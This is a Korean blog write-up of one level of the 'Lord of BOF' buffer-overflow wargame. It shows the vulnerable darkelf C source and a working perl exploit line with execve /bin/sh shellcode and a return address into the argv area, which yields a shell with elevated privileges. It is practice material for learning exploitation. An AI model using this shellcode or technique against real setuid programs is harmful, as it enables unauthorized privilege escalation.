본문 바로가기

워게임/lord of bof

level 5 -> 6


[wolfman@localhost wolfman]$ cat darkelf.c 

/*

        The Lord of the BOF : The Fellowship of the BOF

        - darkelf 

        - egghunter + buffer hunter + check length of argv[1]

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// egghunter 

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);

}

 

삽질하다보니 argv가 저장되는 공간은 memset이 안되고 남아있는걸 알게됫어요

Argv[2]를 이용하는 방법도 있을 것 같지만 이거 한번 이용해보죠..



이건 memset 이후의 eax인데 원래 저기에 버퍼 들어있어야하거든요 근데 지금 memset으로 초기화.. 아무튼 빨간색 괄호 친 부분이 argv 영역인데 A랑 0xbfbfbfbf는 argv[1]이고 B는 argv[2]에요. 영역 밖이라 초기화가 안됫죠? 저부분을 이용해봅시다..

몇번 해보니 argv영역이 bffffba0 영역이다가 ca0영역으로 고정되어버렸네요 ca0으로 해보죠

[wolfman@localhost wolfman]$ ./darkelf `perl -e 'print "\x90"x20, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80", "\x10\xfc\xff\xbf"'`

????????????????????1픐h//shh/bin??S??

                                        것€ ?

bash$ id

uid=505(wolfman) gid=505(wolfman) euid=506(darkelf) egid=506(darkelf) groups=505(wolfman)

bash$ my-pass

euid = 506

kernel crashed

bash$



'워게임 > lord of bof' 카테고리의 다른 글

level 7 -> 8  (0) 2015.10.23
level 6 -> 7  (0) 2015.10.23
level 4 -> 5  (0) 2015.10.23
level 3 -> 4  (0) 2015.10.23
level 2 -> 3  (0) 2015.10.23